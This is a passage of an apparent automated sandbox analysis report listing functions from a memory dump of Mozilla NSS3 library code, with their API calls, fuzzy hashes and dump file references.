Opcode Fuzzy Hash: a1122427e56247fcbb756e667aa4eb51bf2b9170d57eae5df61ff2aef92924b4
Instruction Fuzzy Hash: CE517A74650B01CFDB10DF2AC88476ABBF0BF44308F25896CD8998BB81D731E885CB82

Function 6CE7BE90 Relevance: 7.6, APIs: 5, Instructions: 141COMMON

Download Yara Rule

APIs

SEC_ASN1EncodeItem_Util.NSS3(00000000,00000000,?,?), ref: 6CE7BF06
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6CE7BF56
PR_SetError.NSS3(FFFFE005,00000000,?,?,6CE59F71,?,?,00000000), ref: 6CE7BF7F
CERT_DestroyCertificate.NSS3(00000000), ref: 6CE7BFA9
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6CE7C014

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Item_Util$Zfree$CertificateDestroyEncodeError
String ID:
API String ID: 3689625208-0
Opcode ID: 04efa879844b6490c1532ab010ba7b9aa67b1f275d2acc1eb0a8686121ae4790
Instruction ID: fda92cf2ca7edc3ebd1652bb82cf31195ced08c2ae5519959832b6e9fd39c35b
Opcode Fuzzy Hash: 04efa879844b6490c1532ab010ba7b9aa67b1f275d2acc1eb0a8686121ae4790
Instruction Fuzzy Hash: 7041C171E012059BEB24CE669C85BAA73B9AF4560CF714128E818D7B81FB31E845CBE1

Function 6CE4EDE0 Relevance: 7.6, APIs: 5, Instructions: 97COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CE4EDFD
calloc.MOZGLUE(00000001,00000000), ref: 6CE4EE64
PR_SetError.NSS3(FFFFE8AC,00000000), ref: 6CE4EECC
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CE4EEEB
free.MOZGLUE(?), ref: 6CE4EEF6

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: ErrorValuecallocfreememcpy
String ID:
API String ID: 3833505462-0
Opcode ID: 3659526d8b5e93545309329702267e87ec808b7fac17390b007a926a4936a803
Instruction ID: e36c421596277dc665ae462f6c961e31954d7db23c46a683274a3e7ad3e5aa66
Opcode Fuzzy Hash: 3659526d8b5e93545309329702267e87ec808b7fac17390b007a926a4936a803
Instruction Fuzzy Hash: 9931F571A00A019BE720DF2DEC85F66BBB4FB46348F244529E85A87B51D731E514CBD1

Function 6CE61F10 Relevance: 7.6, APIs: 5, Instructions: 96COMMON

Download Yara Rule

APIs

PORT_NewArena_Util.NSS3(00000800), ref: 6CE61F1C

Part of subcall function 6CEB0FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CE587ED,00000800,6CE4EF74,00000000), ref: 6CEB1000
Part of subcall function 6CEB0FF0: PR_NewLock.NSS3(?,00000800,6CE4EF74,00000000), ref: 6CEB1016
Part of subcall function 6CEB0FF0: PL_InitArenaPool.NSS3(00000000,security,6CE587ED,00000008,?,00000800,6CE4EF74,00000000), ref: 6CEB102B

SEC_ASN1EncodeItem_Util.NSS3(00000000,0000000100000017,FFFFFFFF,6CF79EBC), ref: 6CE61FB8
SEC_ASN1EncodeItem_Util.NSS3(6CF79E9C,?,?,6CF79E9C), ref: 6CE6200A
PR_SetError.NSS3(FFFFE022,00000000), ref: 6CE62020

Part of subcall function 6CE56A60: PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?,?,6CE5AD50,?,?), ref: 6CE56A98

PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CE62030

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Util$ArenaArena_EncodeItem_$Alloc_ErrorFreeInitLockPoolcalloc
String ID:
API String ID: 1390266749-0
Opcode ID: cd27f89df7251e186b6ccd2948fbf88d100f2b3c4bf202ce4c8fb13ec1779a91
Instruction ID: e7de890eeac1081a5996904a42c3059c48aaf8ce5ccf5b3e94f321e125894ff5
Opcode Fuzzy Hash: cd27f89df7251e186b6ccd2948fbf88d100f2b3c4bf202ce4c8fb13ec1779a91
Instruction Fuzzy Hash: 50215A75991502BBE7014B56DC41FAA7778FF5231CF340219E82896F80E732E528C7B1

Function 6CE51DD0 Relevance: 7.6, APIs: 5, Instructions: 81timeCOMMON

Download Yara Rule

APIs

DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6CE51E0B
DER_DecodeTimeChoice_Util.NSS3(?,?), ref: 6CE51E24
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE51E3B
PR_SetError.NSS3(FFFFE00B,00000000), ref: 6CE51E8A
PR_SetError.NSS3(FFFFE00B,00000000), ref: 6CE51EAD

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Error$Choice_DecodeTimeUtil
String ID:
API String ID: 1529734605-0
Opcode ID: 89ab7f6f798a1158721b521d65a9dad7a450c5f9ad858d9a3c90052320d7ed9a
Instruction ID: 29f8e265a4bb0f697dd40d33940949504e0605be6dbb2e1c0f59a4153259ae99
Opcode Fuzzy Hash: 89ab7f6f798a1158721b521d65a9dad7a450c5f9ad858d9a3c90052320d7ed9a
Instruction Fuzzy Hash: 18210372F04311ABE7008EA8DC40B9BB3B4DB85328FA44638ED6957780EB31D91987D2

Function 6CF61E40 Relevance: 7.6, APIs: 5, Instructions: 75threadCOMMON

Download Yara Rule

APIs

PR_GetCurrentThread.NSS3 ref: 6CF61E5C

Part of subcall function 6CF19BF0: TlsGetValue.KERNEL32(?,?,?,6CF60A75), ref: 6CF19C07

PR_Lock.NSS3(00000000), ref: 6CF61E75
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6CF61EAB
PR_GetCurrentThread.NSS3 ref: 6CF61ED0
PR_Unlock.NSS3(?), ref: 6CF61EE8

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: CurrentThread$ErrorLockUnlockValue
String ID:
API String ID: 121300776-0
Opcode ID: d0f9b955427394cd04f66dba66df6153830d372f768a057ac83109073d555317
Instruction ID: d32768a0711c6e718ecab383dd05def2d84ceb09979e054535b7f998504e69ec
Opcode Fuzzy Hash: d0f9b955427394cd04f66dba66df6153830d372f768a057ac83109073d555317
Instruction Fuzzy Hash: 9521CC75A14612AFD710CF2AD880A86B7B1FF54728B25C229E8198BF40D730FA20CBD1

Function 6CEABE60 Relevance: 7.6, APIs: 5, Instructions: 74memoryCOMMON

Download Yara Rule

APIs

SECOID_FindOIDByTag_Util.NSS3(00000000,00000000,00000000,00000000,?,6CE5E708,00000000,00000000,00000004,00000000), ref: 6CEABE6A

Part of subcall function 6CEB0840: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6CEB08B4

SECITEM_CopyItem_Util.NSS3(00000000,?,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6CE604DC,?), ref: 6CEABE7E

Part of subcall function 6CEAFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CEA8D2D,?,00000000,?), ref: 6CEAFB85
Part of subcall function 6CEAFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CEAFBB1

SECITEM_CopyItem_Util.NSS3(?,?,?,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6CEABEC2
PR_SetError.NSS3(FFFFE006,00000000,00000000,?,?,?,?,?,?,?,00000000,?,?,6CE604DC,?,?), ref: 6CEABED7
SECITEM_AllocItem_Util.NSS3(?,?,00000002,?,?,?,00000000,?,?,?,?,?,?,?,00000000,?), ref: 6CEABEEB

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Util$Item_$CopyError$AllocAlloc_ArenaFindTag_memcpy
String ID:
API String ID: 1367977078-0
Opcode ID: f1b67ade3d5cf8085e025b4fa9cc4ed7ec3452d35d0e67ef7d4996e844efd303
Instruction ID: e977d76ca47d8616cb7f1a72e9497d35dccdc7cd291a6e4d9408cbdc3ef30aa0
Opcode Fuzzy Hash: f1b67ade3d5cf8085e025b4fa9cc4ed7ec3452d35d0e67ef7d4996e844efd303
Instruction Fuzzy Hash: 0E11007AE0424D6FE7008AE5AC81B2B737D9B4575CF398029EE048AB52F731D80687A1

Function 6CE5AD90 Relevance: 7.6, APIs: 5, Instructions: 72memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaMark_Util.NSS3(00000000,?,6CE53FFF,00000000,?,?,?,?,?,6CE51A1C,00000000,00000000), ref: 6CE5ADA7

Part of subcall function 6CEB14C0: TlsGetValue.KERNEL32 ref: 6CEB14E0
Part of subcall function 6CEB14C0: EnterCriticalSection.KERNEL32 ref: 6CEB14F5
Part of subcall function 6CEB14C0: PR_Unlock.NSS3 ref: 6CEB150D

PORT_ArenaAlloc_Util.NSS3(00000000,00000020,?,?,6CE53FFF,00000000,?,?,?,?,?,6CE51A1C,00000000,00000000), ref: 6CE5ADB4

Part of subcall function 6CEB10C0: TlsGetValue.KERNEL32(?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB10F3
Part of subcall function 6CEB10C0: EnterCriticalSection.KERNEL32(?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB110C
Part of subcall function 6CEB10C0: PL_ArenaAllocate.NSS3(?,?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB1141
Part of subcall function 6CEB10C0: PR_Unlock.NSS3(?,?,?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB1182
Part of subcall function 6CEB10C0: TlsGetValue.KERNEL32(?,6CE58802,00000000,00000008,?,6CE4EF74,00000000), ref: 6CEB119C

SECITEM_CopyItem_Util.NSS3(00000000,?,6CE53FFF,?,?,?,?,6CE53FFF,00000000,?,?,?,?,?,6CE51A1C,00000000), ref: 6CE5ADD5

Part of subcall function 6CEAFB60: PORT_ArenaAlloc_Util.NSS3(00000000,E0056800,00000000,?,?,6CEA8D2D,?,00000000,?), ref: 6CEAFB85
Part of subcall function 6CEAFB60: memcpy.VCRUNTIME140(00000000,6A1BEBC6,E0056800,?), ref: 6CEAFBB1

SEC_QuickDERDecodeItem_Util.NSS3(00000000,00000000,6CF794B0,?,?,?,?,?,?,?,?,6CE53FFF,00000000,?), ref: 6CE5ADEC

Part of subcall function 6CEAB030: PR_SetError.NSS3(FFFFE005,00000000,?,?,6CF818D0,?), ref: 6CEAB095

PR_SetError.NSS3(FFFFE022,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,6CE53FFF), ref: 6CE5AE3C

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Util$Arena$Value$Alloc_CriticalEnterErrorItem_SectionUnlock$AllocateCopyDecodeMark_Quickmemcpy
String ID:
API String ID: 2372449006-0
Opcode ID: 9dcce5a6377797651ab9db730068e94fed7938296f49e2e2e507dc6e76f5f92d
Instruction ID: e8d8502756cc929d9963d17b82691d73ddb9a6b20aea89ef7a95b58e54c2274f
Opcode Fuzzy Hash: 9dcce5a6377797651ab9db730068e94fed7938296f49e2e2e507dc6e76f5f92d
Instruction Fuzzy Hash: 38115671E002045BE7109BA5AC40BBF77B8DF9125CF60422CEC1996741FB21E9A982B2

Function 6CE68FE0 Relevance: 7.6, APIs: 5, Instructions: 63threadCOMMON

Download Yara Rule

APIs

PR_GetThreadPrivate.NSS3(FFFFFFFF,?,6CE70710), ref: 6CE68FF1
PR_CallOnce.NSS3(6CFB2158,6CE69150,00000000,?,?,?,6CE69138,?,6CE70710), ref: 6CE69029
calloc.MOZGLUE(00000001,00000000,?,?,6CE70710), ref: 6CE6904D
memcpy.VCRUNTIME140(00000000,00000000,00000000,?,?,?,?,6CE70710), ref: 6CE69066
PR_SetThreadPrivate.NSS3(00000000,?,?,?,?,6CE70710), ref: 6CE69078

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: PrivateThread$CallOncecallocmemcpy
String ID:
API String ID: 1176783091-0
Opcode ID: c1fcb45600b97b20f3160ae008425f54c49d10e48bd352c6f4a6d3c6b4e42854
Instruction ID: d9cdb6bd14a9c574e9dc2eb07fb7b8f893e78b1e80a585e55a5e2c6e1ef730bb
Opcode Fuzzy Hash: c1fcb45600b97b20f3160ae008425f54c49d10e48bd352c6f4a6d3c6b4e42854
Instruction Fuzzy Hash: CC11E562B6011257EBA017AFAC44A6672BCDB827ACF600521FC84C6F41F797CD4583A5

Function 6CE7CD80 Relevance: 7.6, APIs: 5, Instructions: 60COMMON

Download Yara Rule

APIs

Part of subcall function 6CE91E10: TlsGetValue.KERNEL32 ref: 6CE91E36
Part of subcall function 6CE91E10: EnterCriticalSection.KERNEL32(?,?,?,6CE6B1EE,2404110F,?,?), ref: 6CE91E4B
Part of subcall function 6CE91E10: PR_Unlock.NSS3 ref: 6CE91E76

free.MOZGLUE(?,6CE7D079,00000000,00000001), ref: 6CE7CDA5
PK11_FreeSymKey.NSS3(?,6CE7D079,00000000,00000001), ref: 6CE7CDB6
SECITEM_ZfreeItem_Util.NSS3(?,00000001,6CE7D079,00000000,00000001), ref: 6CE7CDCF
DeleteCriticalSection.KERNEL32(?,6CE7D079,00000000,00000001), ref: 6CE7CDE2
free.MOZGLUE(?), ref: 6CE7CDE9

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: CriticalSectionfree$DeleteEnterFreeItem_K11_UnlockUtilValueZfree
String ID:
API String ID: 1720798025-0
Opcode ID: 0c6718d281d02e9e73aac9e6353dc61ab401ad075430a99f607cb47f21fa30ec
Instruction ID: 2d60bbe815ac81a4896478a9787ded7bfd1f4963cc2afb25261531067d20fa7d
Opcode Fuzzy Hash: 0c6718d281d02e9e73aac9e6353dc61ab401ad075430a99f607cb47f21fa30ec
Instruction Fuzzy Hash: B011C6B6B01111ABDB10AFA5ED44A9AB77CFF0425C7204121EA09C7E01E732E424C7E1

Function 6CEE2CC0 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6CEE5B40: PR_GetIdentitiesLayer.NSS3 ref: 6CEE5B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CEE2CEC

Part of subcall function 6CEFC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CEFC2BF

PR_EnterMonitor.NSS3(?), ref: 6CEE2D02
PR_EnterMonitor.NSS3(?), ref: 6CEE2D1F
PR_ExitMonitor.NSS3(?), ref: 6CEE2D42
PR_ExitMonitor.NSS3(?), ref: 6CEE2D5B

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Monitor$EnterExit$ErrorIdentitiesLayerValue
String ID:
API String ID: 1593528140-0
Opcode ID: 4ef27760c05e354bdbdc14a9bf5efb7db43890b1c91ebd88415995a73019c396
Instruction ID: 8907c967f9e9912e4e0dec3ed7584703bd2767958de9afd294b055fd5cb5b9d8
Opcode Fuzzy Hash: 4ef27760c05e354bdbdc14a9bf5efb7db43890b1c91ebd88415995a73019c396
Instruction Fuzzy Hash: 8101A1B1A042015BE6309E26FC40BC7B7B1EB69398F204525E95D86B20E632E91586D3

Function 6CEE2D70 Relevance: 7.6, APIs: 5, Instructions: 55COMMON

Download Yara Rule

APIs

Part of subcall function 6CEE5B40: PR_GetIdentitiesLayer.NSS3 ref: 6CEE5B56

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CEE2D9C

Part of subcall function 6CEFC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6CEFC2BF

PR_EnterMonitor.NSS3(?), ref: 6CEE2DB2
PR_EnterMonitor.NSS3(?), ref: 6CEE2DCF
PR_ExitMonitor.NSS3(?), ref: 6CEE2DF2
PR_ExitMonitor.NSS3(?), ref: 6CEE2E0B

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Monitor$EnterExit$ErrorIdentitiesLayerValue
String ID:
API String ID: 1593528140-0
Opcode ID: 1e9434b66f5bacf9a806f1db442a6747708187bc64aeee5eb685236fa59530ec
Instruction ID: 1b59c3495bb2ae4646ca79231e536334f2bebdf9b1ad928263c0ddd0989dcc6b
Opcode Fuzzy Hash: 1e9434b66f5bacf9a806f1db442a6747708187bc64aeee5eb685236fa59530ec
Instruction Fuzzy Hash: BD01A1B1A046015FEA309E26FC01BC7B7B1EB59398F204539E95D86B20E632E9258693

Function 6CE7AE30 Relevance: 7.6, APIs: 5, Instructions: 54COMMON

Download Yara Rule

APIs

Part of subcall function 6CE63090: PORT_NewArena_Util.NSS3(00000800,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000,?,6CE7AE42), ref: 6CE630AA
Part of subcall function 6CE63090: PORT_ArenaAlloc_Util.NSS3(00000000,000000AC,?,?,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6CE630C7
Part of subcall function 6CE63090: memset.VCRUNTIME140(-00000004,00000000,000000A8), ref: 6CE630E5
Part of subcall function 6CE63090: SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CE63116
Part of subcall function 6CE63090: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6CE6312B
Part of subcall function 6CE63090: PK11_DestroyObject.NSS3(?,?), ref: 6CE63154
Part of subcall function 6CE63090: PORT_FreeArena_Util.NSS3(00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE6317E

SECKEY_DestroyPublicKey.NSS3(00000000,?,00000000,?,6CE599FF,?,?,?,?,?,?,?,?,?,6CE52D6B,?), ref: 6CE7AE67
SECITEM_DupItem_Util.NSS3(-00000014,?,00000000,?,6CE599FF,?,?,?,?,?,?,?,?,?,6CE52D6B,?), ref: 6CE7AE7E
SECKEY_DestroyPublicKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,6CE52D6B,?,?,00000000), ref: 6CE7AE89
PK11_MakeIDFromPubKey.NSS3(00000000,?,?,?,?,?,?,?,?,?,?,6CE52D6B,?,?,00000000), ref: 6CE7AE96
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001,?,?,?,?,?,?,?,?,?,?,?,6CE52D6B,?,?), ref: 6CE7AEA3

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852811778.000000006CFB0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852833570.000000006CFB5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdd0000_file.jbxd

Similarity

API ID: Util$DestroyItem_$Arena_K11_Public$AlgorithmAlloc_ArenaCopyFreeFromMakeObjectTag_Zfreememset
String ID:
API String ID: 754562246-0
Opcode ID: d26075ea1ccd0bcaf277988d37df16204dc0948e76ff213a68e33ed035fdbdf0
Instruction ID: b33685a820f96971ab90b3d2ddeceddfc9c544601bbf6c34f563a30379a1dd60
Opcode Fuzzy Hash: d26075ea1ccd0bcaf277988d37df16204dc0948e76ff213a68e33ed035fdbdf0
Instruction Fuzzy Hash: 5101D173B9401057E621926DAC81BAB3178CB9769CB281036E809D7B01F616C98A83B3

Function 6CF6BDB0 Relevance: 7.6, APIs: 5, Instructions: 51COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32(?,00000000,00000000,?,6CF67AFE,?,?,?,?,?,?,?,?,6CF6798A), ref: 6CF6BDC3
free.MOZGLUE(?,?,6CF67AFE,?,?,?,?,?,?,?,?,6CF6798A), ref: 6CF6BDCA
PR_DestroyMonitor.NSS3(?,00000000,00000000,?,6CF67AFE,?,?,?,?,?,?,?,?,6CF6798A), ref: 6CF6BDE9
free.MOZGLUE(?,00000000,00000000,?,6CF67AFE,?,?,?,?,?,?,?,?,6CF6798A), ref: 6CF6BE21
free.MOZGLUE(00000000,00000000,?,6CF67AFE,?,?,?,?,?,?,?,?,6CF6798A), ref: 6CF6BE32

Memory Dump Source

Source File: 00000000.00000002.1852601917.000000006CDD1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDD0000, based on PE: true

Associated: 00000000.00000002.1852581644.000000006CDD0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852730283.000000006CF6F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852768647.000000006CFAE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1852789968.000000006CFAF000.00000008.00000001.01000000.00000009.sdmpDownload File
